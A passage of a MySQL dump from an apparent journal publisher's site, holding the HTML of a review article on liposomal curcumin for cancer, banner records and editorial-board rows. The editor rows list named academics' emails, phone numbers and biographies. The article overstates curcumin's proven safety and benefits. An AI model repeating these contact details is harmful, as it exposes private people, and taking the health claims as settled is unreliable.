style=\"font-family:Times New Roman,Times,serif\"><strong>Curcumin in Nanomedicine</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Several techniques were used to augment the bioavailability of Curcumin, whichcomprises of the usage of liposomal curcumin, curcumin reformulated with various oils adjuvants, curcumin phospholipid complexes, curcumin nanoparticles, and conjugation of curcumin prodrugs with inhibitors of metabolism, and connecting curcumin with polyethylene glycol. The combination of synthetic curcumin analogues and usage of organizational analogues of curcumin plays a major part in the augmentation of its bioavailability [2,5-7].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Curcumin liposomes/CUR liposomes</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Liposomes are used as an operative carrier to augment the targeting property, bioavailability and stability of conventional curcumin grounding methods. CUR liposomes (curcumin liposomes) are synthesised by Freeze-dried method, Reversed-phase evaporation method Thin-film hydration method for CUR, Solvent injection methods, Thin-film ultrasonic dispersion methodFreeze-thawing method, thin-film dispersion method. The new fangled formulations are Ligand-modified CUR liposomes, Long-circulating CUR liposomes, CUR nano liposomes [8].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Cur liposomes&amp; Cancer</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In various categories of cancer that includes, breast cervical, prostate, liver, lung and OS cancers CUR liposomes has exercised beneficial therapeutic properties. Because of its meagre solubility and decreased bioavailability the in vivo actions of CUR are insufficient. Liposomes delivers an operative drug delivery arrangement for CUR. The liposomes can enhance the antitumor and pharmacological activities of CUR, reduce the amount critical for targeting the tumour cells by altering the pharmacokinetics and pharmacodynamics of curcumin. In the liposomes, the Curcumin is merged in with many provisions like hyaluronic acid, silica, folic acid CS, PEG conjugates, CMD vitamin A, &beta;-CD. Incorporation of CUR in liposomes is a flawless approach in cancer patients as the incorporation of the drug that is condensed in the liposomal nanoparticles can make cancer cells sensitive such as CUR, C6 ceramide in OS cell line [9].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Conclusion</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Curcumin is a low-priced polyphenol compound mined from <em>curcuma longa</em> that is profusely accessible and non-hazardous with unveiled medicinal values.The positive effects of curcumin against various diseases vastly applicable in current population has been proved. Research assures that curcumin liposomal formulations improve curcumin bioavailability and are systemically benign. The testing of these preparations as therapeutic modalities is extremelynecessary and is vital for forthcoming clinical trials, foruse by humans. The need of the hour is to lessen the dosage of primary drugs used therapeutically, and also the enactment of curcumin formulations as amalgamation agents may help to enhance the efficacy therapeutically as well as reduction in causing systemic toxicity.</span></p>\r\n\r\n<p>&nbsp;</p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/23425071\">Aggarwal BB, Gupta SC, Sung B (2013) Curcumin: an orally bioavailable blocker of TNF and other pro?inflammatory biomarkers. Br J Pharmacol 169: 1672-1692.</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/21565893\">Gupta SC, Kim JH, Kannappan R, Reuter S, Dougherty PM, et al. (2011) Role of nuclear factor kappaB?mediated inflammatory pathways in cancer?related symptoms and their regulation by nutritional agents. ExpBiol Med (Maywood) 236: 658-671.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/23339055\">Gupta SC, Kismali G, Aggarwal BB (2013) Curcumin, a component of turmeric: from farm to pharmacy. Biofactors 39: 2-13.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/27638428\">Kunnumakkara AB, Bordoloi D, Padmavathi G, Monisha J, Roy NK, et al. (2016) Curcumin, the golden nutraceutical: multitargeting for multiple chronic diseases. Br J Pharmacol 174: 1325-1348.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/17999464\">Anand P, Kunnumakkara AB, Newman RA, Aggarwal BB (2007) Bioavailability of curcumin: problems and promises. Mol Pharm 4: 807-818.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/18462866\">Anand P, Sundaram C, Jhurani S, Kunnumakkara AB, Aggarwal BB (2008) Curcumin and cancer: an &ldquo;old?age&rdquo; disease with an &ldquo;age?old&rdquo; solution. Cancer Lett 267: 133-164. </a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/17900536\">Goel A, Kunnumakkara AB, Aggarwal BB (2008) Curcumin as &ldquo;curecumin&quot;: from kitchen to clinic. BiochemPharmacol 75: 787-809.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/20654584\">Nair HB, Sung B, Yadav VR, Kannappan R, Chaturvedi MM, et al. (2010) Delivery of antiinflammatory nutraceuticals by nanoparticles for the prevention and treatment of cancer. BiochemPharmacol 80: 1833-1843.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/28860764\">Feng T, Wei Y, Lee RJ, Zhao L (2017) Liposomal curcumin and its application in cancer. Int J Nanomedicine 12:6027-6044.</a></span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/20257fff3.jpg\" style=\"height:292px; width:540px\" /></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/203673059.jpg\" style=\"height:331px; width:568px\" /></p>\r\n','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Divya R, Ashok V, Rajajeya kumar M (2019) CURCUMIN: The Golden Nutraceutical from The Most Powerful Herb in the Planet-Turmeric!!. Chronic Complement Altern Integra Med: CCAIM-100004</span></span></p>\r\n','<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<thead>\r\n		<tr>\r\n			<td style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><strong>Cancer type</strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:171.95pt\">\r\n			<p style=\"text-align:center\"><strong>Trial</strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:210.05pt\">\r\n			<p style=\"text-align:center\"><strong>Influential effect</strong></p>\r\n			</td>\r\n		</tr>\r\n	</thead>\r\n	<tbody>\r\n		<tr>\r\n			<td rowspan=\"4\">\r\n			<p style=\"text-align:center\">Lung cancer</p>\r\n			</td>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">CUR liposomes effect on Lewis lung carcinoma LL/2 cell in mice</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">Made LL/2 cells stagnate in G2/M phase</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">CUR-PEG-PEI liposomes on A549 cells</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">Enhanced cell delivery Better anticancer effect</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">&beta;-CD-CUR liposomes effect on A549 cells</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">Improved inhibition effect</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">CUR with cholesterol-based cationic liposomes on A549 cells</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">Higher cytotoxicity Lower adverse effects</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\">\r\n			<p style=\"text-align:center\">Cervical cancer</p>\r\n			</td>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">CUR-loaded cationic liposomes on Hela and SiHa cells</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">Increase cell apoptosis More cytotoxicity</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">CUR-loaded CMD liposomes on Hela cells</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">Enhanced stability and cell delivery Protected from leak and longer retention time<br />\r\n			Stronger cytotoxicity</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"3\">\r\n			<p style=\"text-align:center\">Prostate cancer</p>\r\n			</td>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">CUR liposomes in PC-3 human prostate cancer cells</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">Promoted drug uptake Higher inhibition with concentration- and time-dependence Had targeting activity</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">CUR nanoliposomes on LNCaP and C4-2B cells</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">Improved the bioavailability and anticancer effect</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">CUR liposomes with resveratrol effect on male B6C3F1/J mice</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">Improved CUR level in serum and prostate tissues<br />\r\n			Inhibited cell growth and induced apoptosis</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\">\r\n			<p style=\"text-align:center\">Breast cancer</p>\r\n			</td>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">CUR nanoliposomes on MCF-7 cells</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">Inhibited cell cycle arrest and induced apoptosis with dose-dependence<br />\r\n			Enhanced bioavailability</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">CUR-&gamma;-CD liposomes on MCF-7 cells</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">Higher anti-tumor activity Lower adverse effects</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\">\r\n			<p style=\"text-align:center\">Osteosarcoma</p>\r\n			</td>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">CUR nanoliposomes with C6 ceramide on KHOS cells</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">Induced G2/M arrest Enhanced cytotoxic effect</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">CUR-&gamma;-CD liposomes on KHOS cells</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">More uptake Promoted effectivity</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\">\r\n			<p style=\"text-align:center\">Liver cancer</p>\r\n			</td>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">CUR liposomes on Bel-7402 cells</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">Better inhibited cell proliferation and induced apoptosis</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:171.95pt\">\r\n			<p style=\"text-align:center\">CUR cationic liposomes on HepG2 cells</p>\r\n			</td>\r\n			<td style=\"width:210.05pt\">\r\n			<p style=\"text-align:center\">Exhibited higher cytotoxicity[9]</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:450.8pt\">\r\n			<p style=\"text-align:center\"><strong>Abbreviations</strong>: CUR: Curcumin; CD: Cyclodextrin; CMD: Carboxymethyl Dextran</p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table: </strong>Actions of liposome-based delivery systems of CUR on different types of cancers [9].</span></span></p>\r\n','1553503162.pdf','','1553503162.jpg','',0,1,'2019-03-25 14:09:22','2019-03-25 14:11:08',1);

/*Table structure for table `journal_banners` */

DROP TABLE IF EXISTS `journal_banners`;

CREATE TABLE `journal_banners` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `journal_id` int(11) DEFAULT NULL,
  `baneer_image` varchar(250) DEFAULT NULL,
  `title` varchar(250) DEFAULT NULL,
  `alt_tags` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT NULL,
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=71 DEFAULT CHARSET=latin1;

/*Data for the table `journal_banners` */

insert  into `journal_banners`(`id`,`journal_id`,`baneer_image`,`title`,`alt_tags`,`status`,`create_at`,`update_at`,`create_by`) values (5,14,'1530202500.jpg','Clinical Oncology Research Journal (CORJ)','Clinical Oncology Research Journal (CORJ)',1,'2018-06-28 21:44:59','2018-06-28 21:44:59',1),(6,14,'1530202513.jpg','Clinical Oncology Research Journal (CORJ)','Clinical Oncology Research Journal (CORJ)',1,'2018-06-28 21:45:12','2018-06-28 21:45:12',1),(7,14,'1530202527.jpg','Clinical Oncology Research Journal (CORJ)','Clinical Oncology Research Journal (CORJ)',1,'2018-06-28 21:45:26','2018-06-28 21:45:26',1),(8,15,'1530379614.jpg','Dentistry and Dental Ailments Journal','Dentistry and Dental Ailments Journal',1,'2018-06-30 22:56:54','2018-06-30 22:56:54',1),(9,16,'1530383906.jpg','Annals of Medical & Surgical Case Reports','Annals of Medical & Surgical Case Reports',1,'2018-07-01 00:08:25','2018-07-01 00:08:25',1),(10,16,'1530383951.jpg','Annals of Medical & Surgical Case Reports','Annals of Medical & Surgical Case Reports',1,'2018-07-01 00:09:11','2018-07-01 00:09:11',1),(11,15,'1530384008.jpg','Dentistry and Dental Ailments Journal','Dentistry and Dental Ailments Journal',1,'2018-07-01 00:10:08','2018-07-01 00:10:08',1),(12,17,'1530384310.jpg','Annals of Pediatrics and Child Care','Annals of Pediatrics and Child Care',1,'2018-07-01 00:15:09','2018-07-01 00:15:09',1),(13,17,'1530384327.jpg','Annals of Pediatrics and Child Care','Annals of Pediatrics and Child Care',1,'2018-07-01 00:15:27','2018-07-01 00:15:27',1),(14,18,'1530384774.jpg','International Journal of Education Advancement','International Journal of Education Advancement',1,'2018-07-01 00:22:54','2018-07-01 00:22:54',1),(15,18,'1530384795.jpg','International Journal of Education Advancement','International Journal of Education Advancement',1,'2018-07-01 00:23:15','2018-07-01 00:23:15',1),(16,19,'1530431484.jpg','Advanced Research in Biosensor and Bioelectronics','Advanced Research in Biosensors and Bioelectronics',1,'2018-07-01 13:21:23','2018-07-01 13:21:23',1),(17,19,'1530431500.jpg','Advanced Research in Biosensor and Bioelectronics','Advanced Research in Biosensors and Bioelectronics',1,'2018-07-01 13:21:39','2018-07-01 13:21:39',1),(18,20,'1530431825.jpg','Chronicles of Complementary, Alternative & Integrative Medicine','Chronicles of Complementary, Alternative & Integrative Medicine',1,'2018-07-01 13:27:05','2018-07-01 13:27:05',1),(19,20,'1530431842.jpg','Chronicles of Complementary, Alternative & Integrative Medicine','Chronicles of Complementary, Alternative & Integrative Medicine',1,'2018-07-01 13:27:21','2018-07-01 13:27:21',1),(20,21,'1530432132.jpg','Clinical Oncology Research Journal','Clinical Oncology Research Journal',1,'2018-07-01 13:32:11','2018-07-01 13:32:11',1),(21,21,'1530432153.jpg','Clinical Oncology Research Journal','Clinical Oncology Research Journal',1,'2018-07-01 13:32:32','2018-07-01 13:32:32',1),(22,22,'1530432418.jpg','Clinical Orthopedics Advanced Research Journal','Clinical Orthopedics Advanced Research Journal',1,'2018-07-01 13:36:57','2018-07-01 13:36:57',1),(23,22,'1530432435.jpg','Clinical Orthopedics Advanced Research Journal','Clinical Orthopedics Advanced Research Journal',1,'2018-07-01 13:37:14','2018-07-01 13:37:14',1),(24,23,'1530432744.jpg','Current Trends in Genetics and Microbiology','Current Trends in Genetics and Microbiology',1,'2018-07-01 13:41:25','2018-07-01 13:42:24',1),(25,23,'1530432698.jpg','Current Trends in Genetics and Microbiology','Current Trends in Genetics and Microbiology',1,'2018-07-01 13:41:37','2018-07-01 13:41:37',1),(26,24,'1530433008.jpg','Current Updates in Dermatological Problems','Current Updates in Dermatological Problems',1,'2018-07-01 13:46:47','2018-07-01 13:46:47',1),(27,24,'1530433029.jpg','Current Updates in Dermatological Problems','Current Updates in Dermatological Problems',1,'2018-07-01 13:47:09','2018-07-01 13:47:09',1),(28,25,'1530433302.jpg','Emergency Medicine and Trauma Care Journal','Emergency Medicine and Trauma Care Journal',1,'2018-07-01 13:51:42','2018-07-01 13:51:42',1),(29,25,'1530433321.jpg','Emergency Medicine and Trauma Care Journal','Emergency Medicine and Trauma Care Journal',1,'2018-07-01 13:52:00','2018-07-01 13:52:00',1),(30,26,'1530433561.jpg',' Insights of Cardiology Open Access',' Insights of Cardiology Open Access',1,'2018-07-01 13:56:01','2018-07-01 13:57:36',1),(31,26,'1530433578.jpg',' Insights of Cardiology Open Access',' Insights of Cardiology Open Access',1,'2018-07-01 13:56:17','2018-07-01 13:57:19',1),(32,27,'1530434520.jpg','Journal of Biomarker Research and Studies','Journal of Biomarker Research and Studies',1,'2018-07-01 14:12:00','2018-07-01 14:12:00',1),(33,27,'1530434542.jpg','Journal of Biomarker Research and Studies','Journal of Biomarker Research and Studies',1,'2018-07-01 14:12:21','2018-07-01 14:12:21',1),(34,28,'1530434943.jpg','Journal of Diabetes Management and Metabolism','Journal of Diabetes Management and Metabolism',1,'2018-07-01 14:19:03','2018-07-01 14:19:03',1),(35,28,'1530434960.jpg','Journal of Diabetes Management and Metabolism','Journal of Diabetes Management and Metabolism',1,'2018-07-01 14:19:20','2018-07-01 14:19:20',1),(36,28,'1530435066.jpg','Journal of Diabetes Management and Metabolism','Journal of Diabetes Management and Metabolism',1,'2018-07-01 14:21:05','2018-07-01 14:21:05',1),(37,29,'1530448363.jpg','Journal of Gastroenterology and Digestive Disorders','Journal of Gastroenterology and Digestive Disorders',1,'2018-07-01 18:02:42','2018-07-01 18:02:42',1),(38,29,'1530448387.jpg','Journal of Gastroenterology and Digestive Disorders','Journal of Gastroenterology and Digestive Disorders',1,'2018-07-01 18:03:06','2018-07-01 18:03:06',1),(39,30,'1530448650.jpg','Journal of Obstetrics and Gynecological Problems','Journal of Obstetrics and Gynecological Problems',1,'2018-07-01 18:07:30','2018-07-01 18:07:30',1),(40,30,'1530448675.jpg','Journal of Obstetrics and Gynecological Problems','Journal of Obstetrics and Gynecological Problems',1,'2018-07-01 18:07:54','2018-07-01 18:07:54',1),(41,31,'1530450567.jpg','Journal of Sports Science and Physical Therapy','Journal of Sports Science and Physical Therapy',1,'2018-07-01 18:39:26','2018-07-01 18:39:26',1),(42,31,'1530450588.jpg','Journal of Sports Science and Physical Therapy','Journal of Sports Science and Physical Therapy',1,'2018-07-01 18:39:48','2018-07-01 18:39:48',1),(43,32,'1530450832.jpg','Journal of Urology and Renal Problems','Journal of Urology and Renal Problems',1,'2018-07-01 18:43:51','2018-07-01 18:43:51',1),(44,32,'1530450850.jpg','Journal of Urology and Renal Problems','Journal of Urology and Renal Problems',1,'2018-07-01 18:44:10','2018-07-01 18:44:10',1),(45,33,'1530451108.jpg','Open Access Journal of Endocrinology Disorders ','Open Access Journal of Endocrinology Disorders ',1,'2018-07-01 18:48:28','2018-07-01 18:48:28',1),(46,33,'1530451129.jpg','Open Access Journal of Endocrinology Disorders ','Open Access Journal of Endocrinology Disorders ',1,'2018-07-01 18:48:49','2018-07-01 18:48:49',1),(49,35,'1540273688.jpg','Open Access Journal of Agriculture Research','Open Access Journal of Agriculture Research',1,'2018-07-08 20:02:04','2018-12-21 21:20:46',1),(51,35,'1540273668.jpg','Open Access Journal of Agriculture Research','Open Access Journal of Agriculture Research',1,'2018-07-08 20:05:26','2018-12-21 21:19:03',1),(52,34,'1539252370.jpg','Journal of Surgery and Insights','Journal of Surgery and Insights',1,'2018-10-11 15:36:09','2018-10-11 15:36:09',1),(53,34,'1539252434.jpg','Journal of Surgery and Insights','Journal of Surgery and Insights',1,'2018-10-11 15:37:13','2018-10-11 15:37:13',1),(54,36,'1539324814.jpg','Current Research in Psychiatry and Brain Disorders','Current Research in Psychiatry and Brain Disorders',1,'2018-10-12 11:43:33','2018-10-12 11:43:33',1),(55,36,'1539324844.jpg','Current Research in Psychiatry and Brain Disorders','Current Research in Psychiatry and Brain Disorders',1,'2018-10-12 11:44:04','2018-10-12 11:44:04',1),(56,37,'1539326191.jpg','Journal of Pain Management and Anesthesiology','Journal of Pain Management and Anesthesiology',1,'2018-10-12 12:06:30','2018-10-12 12:06:30',1),(57,37,'1539326210.jpg','Journal of Pain Management and Anesthesiology','Journal of Pain Management and Anesthesiology',1,'2018-10-12 12:06:49','2018-10-12 12:06:49',1),(58,38,'1552142085.jpg','Current Trends in Biotechnology and Biochemistry','Current Trends in Biotechnology and Biochemistry',1,'2018-10-12 13:03:30','2019-03-09 20:04:45',1),(59,38,'1539329623.jpg','Current Trends in Biotechnology and Biochemistry','Current Trends in Biotechnology and Biochemistry',1,'2018-10-12 13:03:42','2018-10-12 13:03:42',1),(60,39,'1539330003.jpg','Emerging Infectious Diseases and Diagnosis Journal ','Emerging Infectious Diseases and Diagnosis Journal ',1,'2018-10-12 13:10:02','2018-10-12 13:10:02',1),(61,39,'1539330018.jpg','Emerging Infectious Diseases and Diagnosis Journal ','Emerging Infectious Diseases and Diagnosis Journal ',1,'2018-10-12 13:10:18','2018-10-12 13:10:18',1),(62,40,'1539330296.jpg','Advances of Otolaryngology and Rhinology Research','Advances of Otolaryngology and Rhinology Research',1,'2018-10-12 13:14:56','2018-10-12 13:14:56',1),(63,40,'1539330314.jpg','Advances of Otolaryngology and Rhinology Research','Advances of Otolaryngology and Rhinology Research (AORR)',1,'2018-10-12 13:15:14','2018-10-12 13:15:14',1),(64,41,'1539330576.jpg','Journal of Addiction Research and Drug Abuse','Journal of Addiction Research and Drug Abuse (JARDA)',1,'2018-10-12 13:19:35','2018-10-12 13:19:35',1),(65,41,'1539330682.jpg','Journal of Addiction Research and Drug Abuse ','Journal of Addiction Research and Drug Abuse (JARDA)',1,'2018-10-12 13:19:51','2018-10-12 13:21:22',1),(66,42,'1539333289.jpg','Ophthalmology and Eye Research Journal','Ophthalmology and Eye Research Journal (OERJ)',1,'2018-10-12 14:04:48','2018-10-12 14:04:48',1),(67,42,'1539333302.jpg','Ophthalmology and Eye Research Journal','Ophthalmology and Eye Research Journal',1,'2018-10-12 14:05:01','2018-10-12 14:05:01',1),(68,20,'1539418128.jpg','Chronicles of Complementary, Alternative & Integrative Medicine','Chronicles of Complementary, Alternative & Integrative Medicine',1,'2018-10-13 13:38:48','2018-10-13 13:38:48',1),(69,35,'1540273713.jpg','Open Access Journal of Agriculture Research','Open Access Journal of Agriculture Research',1,'2018-10-23 11:18:33','2018-12-21 21:20:13',1),(70,43,'1552237633.jpg','The Gastronomy Food Processing and Technology','Gastronomy Food Processing and Technology',1,'2019-03-10 22:37:13','2019-03-10 22:38:46',1);

/*Table structure for table `journal_editors` */

DROP TABLE IF EXISTS `journal_editors`;

CREATE TABLE `journal_editors` (
  `j_e_id` int(11) NOT NULL AUTO_INCREMENT,
  `journal_id` int(11) DEFAULT NULL,
  `journal_cat_id` int(11) DEFAULT NULL,
  `image` varchar(250) DEFAULT NULL,
  `name` varchar(250) DEFAULT NULL,
  `email` varchar(250) DEFAULT NULL,
  `phone` varchar(250) DEFAULT NULL,
  `designation` varchar(250) DEFAULT NULL,
  `position` varchar(250) DEFAULT NULL,
  `country` varchar(250) DEFAULT NULL,
  `university` varchar(250) DEFAULT NULL,
  `priority` varchar(250) DEFAULT NULL,
  `biography` text,
  `status` int(11) DEFAULT '1',
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`j_e_id`)
) ENGINE=InnoDB AUTO_INCREMENT=453 DEFAULT CHARSET=latin1;

/*Data for the table `journal_editors` */

insert  into `journal_editors`(`j_e_id`,`journal_id`,`journal_cat_id`,`image`,`name`,`email`,`phone`,`designation`,`position`,`country`,`university`,`priority`,`biography`,`status`,`create_at`,`update_at`,`create_by`) values (18,15,20,'1530600359.jpg','Bob Hunsucker','bhunsucker@tamhsc.edu','2148288267','Department of General Dentistry','Editorial board member','USA','Texas A & M University College of Dentistry','01','<p><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. Bob C. Hunsucker went to Clemson University then transferred after one year to Texas Tech University where he received a Bachelor of Science in Biology in 1985. Following college, he attended Baylor College of Dentistry and received his Doctor of Dental Surgery Degree in 1989. He was on the Deans List at Baylor College of Dentistry in 1989. He began his private practice in dentistry in 1989 until present in Plano, Texas. Dr. Hunsucker joined Baylor College of Dentistry as an Adjunct Assistant Professor in 1997 where he served one day per week. In June 2017, he was asked to be in the clinic an additional half day. He has taught in the undergraduate clinic providing clinical teaching, evaluating students dental procedures and clinical progress, and participating in mock board examinations in the Department of General Dentistry at Texas A&amp;M College of Dentistry. Dr. Hunsucker edited a textbook Advanced Comprehensive Dentistry and Occlusion (not yet published) by Thomas F. Basta, D.D.S. He also has served on the Dental Review panel for the Texas State Board of Dental Examiners since December 2013.</span></span></p>\r\n',1,'2018-07-03 12:16:00','2018-07-15 23:41:09',1),(19,15,20,'1530601208.jpg','Alparslan Dilsiz','aydilsiz@atauni.edu.tr','905334760078','Department of Periodontology','Editorial board member','Turkey','Ataturk University','04','<p>Prof Dr. Alparslan Dilsiz was born in Erzurum, Turkey, in 1976. He has graduated from Ataturk University in 1998. He completed his Ph.D. in Ataturk University in 2003. He has been a member of the European Federation of Periodontology since 2003. He has fulfilled several studies onPeriodontology, Periodontal Surgery, Laser therapy and Dentistry in and out of Turkey, he had some articles published in the eminent journals in field of Dentistry, particularly in field of Periodontology, and having attended several conferences in and out of Turkey. He has taken place in the Board of the Faculty of Dentistry in Ataturk University several times. He is maintaining some studies on Periodontology at the moment.</p>\r\n',1,'2018-07-03 12:30:08','2018-07-15 23:42:21',1),(20,15,20,'1530607130.jpg','Wael M. Al-Omari','womari@just.edu.jo','962795521461','Department of prsothodontics','Editorial board member','Jordan','Jordan University of Science and Technology','05','',1,'2018-07-03 14:08:50','2018-07-15 23:42:38',1),(21,15,20,'1530607771.jpg','Murat Unal','gmuratunal@hotmail.com','903462191237','Pediatric Dentistry','Editorial board member','Turkey','Cumhuriyet University','06','<p>Dr. Murat Unal (DDS, PhD, Associate Professor and Pediatric Dentistry) was graduated from Cumhuriyet University, Faculty of Dentistry with the degree of DDS, completed his Post-graduate Program in Pediatric Dentisty. Later he received his Ph.D degree in Pedodontics from Cumhuriyet University, Sivas-Turkey. Dr. Unal worked as Assistant Professor between 2010-2015 in the same University. He received his Associate Professor degree in 2015 April. Dr. Unal is working Pediatric Dentistry Department in Cumhuriyet University, Faculty of Dentistry. Dr. Unal is reviewer and editorial board member, in some national and international journals. He is interested in Preventive dentistry, laser applications, new generation dental materials, regenerative treatment and dental trauma in children.</p>\r\n',1,'2018-07-03 14:19:30','2018-07-15 23:42:56',1),(22,15,20,'1530608190.jpg','Aysegul Goze Sayin','aysegulgoze@hotmail.com','905077069760','Prosthodontic Dentistry','Editorial board member','Turkey','Cumhuriyet University','07','<p>Dr. Aysegul Goze Sayin (DDS, PhD, Prosthodontic Dentistry) was graduated from Cumhuriyet University, Faculty of Dentistry with the degree of DDS, completed her Post-graduate Program in Prosthodontic Dentisty. Later she received her Ph.D degree in Prosthodontics from Cumhuriyet University, Sivas-Turkey. She received her DDS,PhD degree in 2015 August. Dr. Goze Saygin has worked as speacialist of prosthodontics since 2016 in the same University. Dr. Goze Saygin is working Prosthodontic Dentistry Department in Cumhuriyet University, Faculty of Dentistry. Dr. Goze Saygin is reviewer and editorial board member, in some national and international journals. She is interested in preventive dentistry, laser applications, new generation dental materials, dental implant and application, regenerative treatment and alternative 